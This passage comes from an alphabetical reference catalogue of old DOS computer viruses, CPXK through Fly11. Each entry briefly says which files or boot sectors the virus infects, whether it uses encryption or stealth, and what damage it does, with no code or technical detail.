The CPXK Virus is a computer virus which infects .COM files including
COMMAND.COM. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation and corrupts
program or overlay files.

Cracker Jack Virus

The Cracker Jack Virus is a computer virus which infects .COM files.
The virus is loaded into memory by executing an infected program and
then affects the computer's runtime operation, corrupts program or
overlay files.

Cracky Virus

The Cracky Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files and data files.

Crash Virus

The Crash Virus is a computer virus The virus is loaded into memory by executing an infected program.

Crasher Virus

The Crasher Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Crazy Eddie Virus

The Crazy Eddie Virus is a computer virus which infects the fixed disk partition table. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Crazy Imp Virus

The Crazy Imp Virus is a computer virus which uses stealth techniques to avoid detection and which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

CrazyI B Virus

The CrazyI B Virus is a computer virus which uses stealth techniques to avoid detection and which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Creeper Virus

The Creeper Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Creeping Death Dropper Virus

The Creeping Death Dropper Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Creeping Death Virus

The Creeping Death Virus is an encrypted computer virus which uses stealth techniques to avoid detection and which infects .COM, .EXE and overlay files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Crew-2480 Virus

The Crew-2480 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

CRF Virus

The CRF Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program files.

Criminal Virus

The Criminal Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program files.

Crumble Virus

The Crumble Virus is an encrypted computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation by "crumbling" the display. The virus corrupts program files and.

Crunch1 Virus

The Crunch1 Virus is a computer virus which uses stealth techniques to avoid detection and which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Crusher Virus

The Crusher Virus is an encrypted computer virus which uses stealth techniques to avoid detection and which infects the fixed disk partition table. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

CSL Virus

The CSL Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Curse Boot Virus

The Curse Boot Virus is a computer virus which uses stealth techniques to avoid detection and which infects the fixed disk and diskette boot sectors . The virus is loaded into memory by booting from an infected disk and then affects the computer's runtime operation.

CV4 Virus

The CV4 Virus is a computer virus The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files.

Cyber Virus

The Cyber Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files.

Cyber-946 Virus

The Cyber-946 Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files.

Cybertech A Virus

Cybertech A is an encrypted computer virus written by John Tardy of the Trident organisation, which infects .COM files in the current directory. It also removes CHKLIST.CPS files (used by mant AV products) from the current directory after it has infected a program. When a validation code is added by SCAN of McAfee, it will overwrite the code, so the file is no longer CRC protected anymore.

Cysta 2711 Virus

The Cysta 2711 Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Cysta 2954 Virus

The Cysta 2954 Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Cysta 8045 Virus

The Cysta 8045 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

D-Tiny Virus

The D-Tiny Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Dada Virus

The Dada Virus is a computer virus which infects .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files and data files.

Damage Virus

The Damage Virus is a computer virus which infects .COM, .EXE and overlay files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files and data files.

Danny Virus

The Danny Virus is an encrypted computer virus which infects the fixed
disk partition table. The virus is loaded into memory by booting from
an infected disk and then affects the computer's runtime operation.

Dark Apocalypse Virus

The Dark Apocalypse Virus is a computer virus written by Crypt Keeper,
which infects .COM and .EXE files. The virus is loaded into memory by
executing an infected program and then affects the computer's runtime
operation, corrupts program or overlay files and damages the disk boot
sector. The virus activates it's payload on any Monday the 16th,
replacing the boot sector with code to reboot the machine.

Dark Avenger Virus

The Dark Avenger Virus is a computer virus which infects .COM, .EXE
and overlay files including COMMAND.COM. The virus is loaded into
memory by executing an infected program and then affects the
computer's runtime operation, corrupts program or overlay files.

Dark End Virus

The Dark End Virus is a computer virus which infects .COM and .EXE
files. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation and corrupts
program files.

Darth Vader II Virus

The Darth Vader II Virus is a computer virus which uses stealth
techniques to avoid detection and which infects .COM files with a
block of 345 or more zero bytes within them. The virus is loaded into
memory by executing an infected program and then affects the
computer's runtime operation, corrupts program files.

Darth Vader III Virus

The Darth Vader II Virus is a computer virus which uses stealth
techniques to avoid detection and which infects .COM files with a
block of 255 or more zero bytes within them. The virus does not infect
on DOS version 5 or later. The virus is loaded into memory by
executing an infected program and then affects the computer's runtime
operation, corrupts program files.

Darth Vader Virus

The Darth Vader Virus is a computer virus which uses stealth
techniques to avoid detection and which infects .COM files. The virus
is loaded into memory by executing an infected program and then
affects the computer's runtime operation, corrupts program files.

Data Rape 2.0 Virus

The Data Rape 2.0 Virus is a computer virus which infects .COM and
.EXE files including COMMAND.COM. The virus is loaded into memory by
executing an infected program and then affects the computer's runtime
operation and corrupts program or overlay files.

Data Rape 2.3 Virus

The Data Rape 2.3 Virus is a computer virus written by Zodiac and Data
Disruptor of the Rabid organisation in 1991. It infects .COM and .EXE
files including COMMAND.COM. The virus is loaded into memory by

executing an infected program and then affects the computer's runtime operation by preventing operation on a sunday, and on a 1:15 chance will reformat the hard disk, and corrupts program files.

Datacrime II-B Virus

The Datacrime II-B Virus is an encrypted computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Datacrime Virus

The Datacrime Virus is an encrypted computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program files and upon activation formats the first part of the hard disk.

Datacrime-2 Virus

The Datacrime-2 Virus is an encrypted computer virus which infects .COM and .EXE files. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files.

DataLock Virus

The DataLock Virus is a computer virus which infects .COM, .EXE and overlay files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Datos Virus

The Datos Virus is a computer virus which infects the fixed disk partition table. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Davis Virus

The Davis Virus is a computer virus which infects .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Day10 Virus

The Day10 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

DBASE Virus

The DBASE Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files and data files.

Death Hog Virus

The Death Hog Virus is a computer virus which infects all files. The virus is loaded into memory by executing an infected program. The

virus steals a large amount of memory to disrupt runtime operations
and corrupts program or overlay files and data files.

Death Virus

The Death Virus is a computer virus which infects .COM and .EXE files.
The virus is loaded into memory by executing an infected program. The
virus corrupts program or overlay files and data files.

Deceide 2 Virus

The Deceide 2 Virus is a computer virus which infects .COM files. The
virus is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program or
overlay files.

Dedicated Virus

The Dedicated Virus is an encrypted computer virus which uses stealth
techniques to avoid detection and which infects .COM files including
COMMAND.COM. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation, corrupts
program or overlay files.

Define Virus

The Define Virus is a computer virus which infects .COM and .EXE files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation,
corrupts program, overlay files and data files.

Deicide Virus

The Deicide Virus is a computer virus which infects .COM files in the
root directory of the current drive only. The virus is loaded into
memory by executing an infected program and then affects the
computer's runtime operation, corrupts program files. If all files are
infected, and Deicide is not on the C drive it attempts to ruin it
anyway. If all files in the root direcory on drive C are infected,
data on the fixed disk is destroyed, a message displayed and the
computer hung. If a program is successfully overwritten, Deicide exits
to DOS after displaying the message 'File corruption error.' If
Deicide is trapped on a diskette that is write-protected, it will
generate 'Abort, Retry, Ignore, Fail' messages .

Demolition Virus

The Demolition Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation,
corrupts program or overlay files.

Demon Virus

The Demon Virus is a computer virus which infects .COM files including
COMMAND.COM. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation and corrupts
program files. On a Tuesday, Demon will destroy all data on the hard
drive.

Den Zuk Virus

The Den Zuk Virus is a computer virus which infects the diskette boot
sector. The virus is loaded into memory by booting from an infected

disk and then affects the computer's runtime operation.

Dennis Virus

The Dennis Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Deranged Virus

The Deranged Virus is a computer virus which infects .COM and .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Dest1-2 Virus

The Dest1-2 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Dest3 Virus

The Dest3 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files and data files.

Destructor Virus

The Destructor Virus is a computer virus which infects .COM, .EXE and overlay files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Devil's Dance Virus

The Devil's Dance Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program files. Upon activation, it will display a message on the screen and destroy the data held in the hard disk biit sector.

Dial Virus

The Dial Virus is a VCL generated computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation by attempting to dial a connected modem, and corrupts program files.

Diamond-RS Virus

The Diamond-RS Virus is a computer virus which uses stealth techniques to avoid detection and which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Diarrhea 4 Virus

The Diarrhea 4 Virus is a VCL generated encrypted computer virus which infects .COM files including COMMAND.COM. The virus is loaded into

memory by executing an infected program and then affects the computer's runtime operation by filling the screen with garbage characters, and corrupts program files.

Digger Virus

The Digger Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Dima Virus

The Dima Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files and data files.

Diogenes Virus

The Diogenes Virus is a computer virus The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Dir II var Virus

The Dir II var Virus is a computer virus which infects .COM and .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Dir Virus Virus

The Dir Virus is a computer virus which uses stealth techniques to avoid detection and which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files and data files.

Dir-2 910 Virus

The Dir-2 910 Virus is a computer virus which uses stealth techniques to avoid detection and which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files and data files.

Dir-2/CD 1x Virus

The Dir-2/CD 1x Virus is an encrypted computer virus which uses stealth techniques to avoid detection and which infects .COM, .EXE and overlay files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files and data files.

Disk Killer Virus

The Disk Killer Virus is a computer virus which infects the fixed disk and diskette boot sectors . The virus is loaded into memory by booting from an infected disk and then affects the computer's runtime operation and corrupts program or overlay files and data files.

Dismember Virus

The Dismember Virus is an encrypted computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Dk2 Virus

The Dk2 Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

DM Virus

The DM Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

DM-330 Virus

The DM-330 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

DM-B Virus

The DM-B Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Do Nothing Virus

The Do Nothing Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files and data files.

Dodo 2456 Virus

The Dodo 2456 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Dodo Virus

The Dodo Virus is a computer virus The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Doodle Virus

The Doodle Virus is a computer virus which infects .COM and .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Doom II Virus

The Doom II Virus is a computer virus which infects .COM and .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts

program or overlay files and data files.

Dorn Virus

The Dorn Virus is a computer virus which infects .COM files. The virus
is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program or
overlay files.

Dos 7 Virus

The Dos 7 Virus is a computer virus which infects .COM files. The
virus is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program or
overlay files.

DOS3 Virus

The DOS3 Virus is a computer virus which infects .COM and .EXE files.
The virus is loaded into memory by executing an infected program and
then affects the computer's runtime operation and corrupts program or
overlay files.

Dos7-B Virus

The Dos7-B Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

Dos7-C Virus

The Dos7-C Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

Dose-A Virus

The Dose-A Virus is a computer virus which infects .COM and .EXE files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

Dot Killer Virus

The Dot Killer Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

Dot-789 Virus

The Dot-789 Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files and data files.

Dot-801 Virus

The Dot-801 Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program. The virus corrupts program or overlay files.

Dr. Qumak2 Virus

The Dr. Qumak2 Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

Drop Virus

The Drop Virus is a computer virus which infects .COM and .EXE files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

Druid Virus

The Druid Virus is a computer virus written by Morbid Angel/Line
Noise, which infects .COM files except those whose name commencs with
the letters CO. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program files. The virus contains code to thwart
disassemblers and tracers .

DTR Virus

The DTR Virus is a computer virus which infects .COM and .EXE files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program. The virus corrupts program or overlay files and data
files.

Dudley Virus

The Dudley Virus is a computer virus which infects .COM and .EXE files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

Dust Virus

The Dust Virus is a computer virus which infects .COM files including
COMMAND.COM. The virus is loaded into memory by executing an infected
program. The virus corrupts program or overlay files and data files.

Dutch Breeze Virus

The Dutch Breeze Virus is a computer virus written by Glenn Benton
which infects .COM files including COMMAND.COM. The virus is loaded
into memory by executing an infected program and then affects the
computer's runtime operation and corrupts program files.

Dutch Tiny Virus

The Dutch Tiny Virus is an encrypted computer virus which infects .COM
and .EXE files including COMMAND.COM. The virus is loaded into memory
by executing an infected program. The virus corrupts program or
overlay files.

Dutch Virus

The Dutch Virus is a computer virus which infects .COM, .EXE and
overlay files including COMMAND.COM. The virus is loaded into memory
by executing an infected program and then affects the computer's
runtime operation and corrupts program or overlay files and data
files.

DWI Virus

The DWI Virus is an encrypted computer virus which infects .COM and
.EXE files. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation and corrupts
program or overlay files.

Earthday Virus

The Earthday Virus is a VCL generated encrypted computer virus which
infects .COM files including COMMAND.COM. The virus is loaded into
memory by executing an infected program and then affects the
computer's runtime operation and corrupts program files. The virus
contains anti-debugging code

Eclypse Virus

The Eclypse Virus is an encrypted computer virus which infects .COM
and .EXE files including COMMAND.COM. The virus is loaded into memory
by executing an infected program. The virus corrupts program or
overlay files and data files.

ECV Virus

The ECV Virus is a computer virus which infects .EXE files. The virus
is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program or
overlay files.

Ed Virus

The Ed Virus is a computer virus which infects .COM and .EXE files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files and data files.

Edcl Virus

The Edcl Virus is a computer virus which infects .COM and .EXE files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program. The virus corrupts program or overlay files and data
files.

EDV Virus

The EDV Virus is a computer virus which uses stealth techniques to
avoid detection and which infects the fixed disk partition table. The
virus is loaded into memory by booting from an infected disk and then
affects the computer's runtime operation.

Egg Virus

The Egg Virus is a computer virus which infects .COM and .EXE files.
The virus is loaded into memory by executing an infected program and
then affects the computer's runtime operation and corrupts program or
overlay files.

Ein Volk Virus

The Ein Volk Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

Einstein Virus

The Einstein Virus is a computer virus which infects .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Ekoterror Virus

The Ekoterror Virus is an encrypted computer virus which uses stealth techniques to avoid detection and which infects the fixed disk partition table. The virus is loaded into memory by booting from an infected disk. The virus corrupts data files.

Eliza Virus

The Eliza Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Elvirus Virus

The Elvirus Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

EMF 625 Virus

see "Screaming_Fist_Virus"

EMF Virus

see "Screaming_Fist_Virus"

Emmie Virus

The Emmie Virus is a computer virus which infects .COM and .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program files. The virus activates any time in September and displays the following message in the middle of the screen written in red:
        -=> ERROR Virus Version 0.1B (C) 1994 JH <=-

EMO Virus

The EMO Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Empire Virus

The Empire Virus is an encrypted computer virus which infects the fixed disk and diskette boot sectors . The virus is loaded into memory by booting from an infected disk and then affects the computer's runtime operation and corrupts program or overlay files.

End-of Virus

The End-of Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an

infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Enemy Virus

see "Screaming_Fist_Virus"

Enigma Virus

The Enigma Virus is an encrypted computer virus which infects .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program files.

Enola Virus

The Enola Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files and data files.

Error Virus

The Error Virus is a computer virus which infects .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program files.

Error 412 virus Virus

The Error 412 virus Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Essex Virus

The Essex Virus is a computer virus which infects the diskette boot sector. The virus is loaded into memory by booting from an infected disk and then affects the computer's runtime operation and corrupts program or overlay files.

Estepa Virus

The Estepa Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

ETC Virus

The ETC Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files and data files.

Europe-92 Virus

The Europe-92 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts data files.

Evil Genius Virus

The Evil Genius Virus is a computer virus which infects .COM and .EXE
files including COMMAND.COM. The virus is loaded into memory by
executing an infected program and then affects the computer's runtime
operation and corrupts program or overlay files and data files.

Exebug 1 Virus

The Exebug 1 Virus is a computer virus which uses stealth techniques
to avoid detection and which infects the fixed disk partition table.
The virus is loaded into memory by booting from an infected disk and
then affects the computer's runtime operation.

Exebug 2 Virus

The Exebug 2 Virus is a computer virus which uses stealth techniques
to avoid detection and which infects the fixed disk partition table.
The virus is loaded into memory by booting from an infected disk and
then affects the computer's runtime operation and corrupts program or
overlay files.

Exper416 Virus

The Exper416 Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

Explode Virus

The Explode Virus is a computer virus The virus is loaded into memory
by executing an infected program and then affects the computer's
runtime operation and corrupts program or overlay files and data
files.

Exterminator Virus

The Exterminator Virus is a computer virus which infects .COM and .EXE
files including COMMAND.COM. The virus is loaded into memory by
executing an infected program and then affects the computer's runtime
operation, corrupts data files.

Eziarch Virus

The Eziarch Virus is a computer virus which infects .COM and .EXE
files including COMMAND.COM. The virus is loaded into memory by
executing an infected program and then affects the computer's runtime
operation and corrupts program or overlay files.

F-Word Virus

The F-Word Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

FamC Virus

The FamC Virus is a computer virus The virus is loaded into memory by
executing an infected program.

FamD Virus

The FamD Virus is a computer virus The virus is loaded into memory by
executing an infected program.

FamE Virus

The FamE Virus is a computer virus The virus is loaded into memory by executing an infected program.

FamH Virus

The FamH Virus is a computer virus The virus is loaded into memory by executing an infected program.

Family Q Virus

see "382_Virus"

FamJ Virus

The FamJ Virus is a computer virus The virus is loaded into memory by executing an infected program.

FamM Virus

The FamM Virus is a computer virus The virus is loaded into memory by executing an infected program.

FamN Virus

The FamN Virus is a computer virus The virus is loaded into memory by executing an infected program.

FamQ Virus

The FamQ Virus is a computer virus The virus is loaded into memory by executing an infected program.

FamR Virus

The FamR Virus is a computer virus The virus is loaded into memory by executing an infected program.

FamS Virus

The FamS Virus is a computer virus The virus is loaded into memory by executing an infected program.

FamV1 Virus

The FamV1 Virus is a computer virus The virus is loaded into memory by executing an infected program.

FamV2 Virus

The FamV2 Virus is a computer virus The virus is loaded into memory by executing an infected program.

FamV3 Virus

The FamV3 Virus is a computer virus The virus is loaded into memory by executing an infected program.

FamV4 Virus

The FamV4 Virus is a computer virus The virus is loaded into memory by executing an infected program.

Farcus Virus

The Farcus Virus is a computer virus which infects the fixed disk
partition table. The virus is loaded into memory by booting from an
infected disk and then affects the computer's runtime operation,
corrupts program or overlay files.

Father Christmas Virus

The Father Christmas Virus is a computer virus which infects .COM
files including COMMAND.COM. The virus is loaded into memory by
executing an infected program and then affects the computer's runtime
operation and corrupts program or overlay files.

Faust Virus

see "Chaos_Virus"

Fax Free Virus

The Fax Free Virus (also called Mosquito Virus) is an encrypted
computer virus which infects .EXE files. The virus is loaded into
memory by executing an infected program and then affects the
computer's runtime operation and corrupts program files. Unusually,
the virus changes the infected program's date stamp.

Fear Virus

The Fear Virus is an encrypted computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation,
corrupts program or overlay files.

Feist Virus

The Feist Virus is a computer virus which infects .COM, .EXE and
overlay files including COMMAND.COM. The virus is loaded into memory
by executing an infected program and then affects the computer's
runtime operation, corrupts program or overlay files.

Fellowship Virus

The Fellowship Virus is a computer virus which infects .EXE files. The
virus is loaded into memory by executing an infected program and then
affects the computer's runtime operation, corrupts program or overlay
files and data files.

Fgt Virus

The Fgt Virus is a computer virus which infects .COM files including
COMMAND.COM. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation and corrupts
program or overlay files.

Fich Virus

The Fich Virus is a computer virus which infects .COM files including
COMMAND.COM. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation, corrupts
program or overlay files.

Fich897 Virus

The Fich897 Virus is a computer virus which infects .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Fil Virus

The Fil Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files and data files.

Filedate Virus

The Filedate Virus is a computer virus which infects .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Filename Virus

The Filename Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Filler Virus

The Filler Virus is a computer virus which uses stealth techniques to avoid detection and which infects the fixed disk partition table. The virus is loaded into memory by booting from an infected disk and then affects the computer's runtime operation.

Fingers Virus

The Fingers Virus is a computer virus which infects .COM, .EXE and overlay files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files and data files.

Finn-357 Virus

The Finn-357 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files and data files.

Fish 1100 Virus

The Fish 1100 Virus is a computer virus which uses stealth techniques to avoid detection and which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Fish 2 Virus

The Fish 2 Virus is a computer virus which infects .COM and .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Fish 2420 Virus

The Fish 2420 Virus is a computer virus which uses stealth techniques to avoid detection and which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Fish Boot Virus

The Fish Boot Virus is a computer virus which infects the fixed disk partition table. The virus is loaded into memory by booting from an infected disk and then affects the computer's runtime operation and corrupts program or overlay files.

Fish Virus

The Fish Virus is an encrypted computer virus which uses stealth techniques to avoid detection and which infects .COM, .EXE and overlay files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Flagyll Virus

The Flagyll Virus is a computer virus which infects .COM and .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Flash Virus

The Flash Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files and data files.

Flex Virus

The Flex Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Flip Virus

The Flip Virus is an encrypted computer virus which infects the fixed disk partition table. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files and data files.

Flower Virus

The Flower Virus is an encrypted computer virus which infects .EXE files. The virus is loaded into memory by executing an infected program and then corrupts program files. If an infected program is run on the 11th of November, infection of other programs will overwrite them with code to display a poem

Flu-2 Virus

The Flu-2 Virus is an encrypted computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Fly11 Virus

The Fly11 Virus is a computer virus which infects .COM and .EXE files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
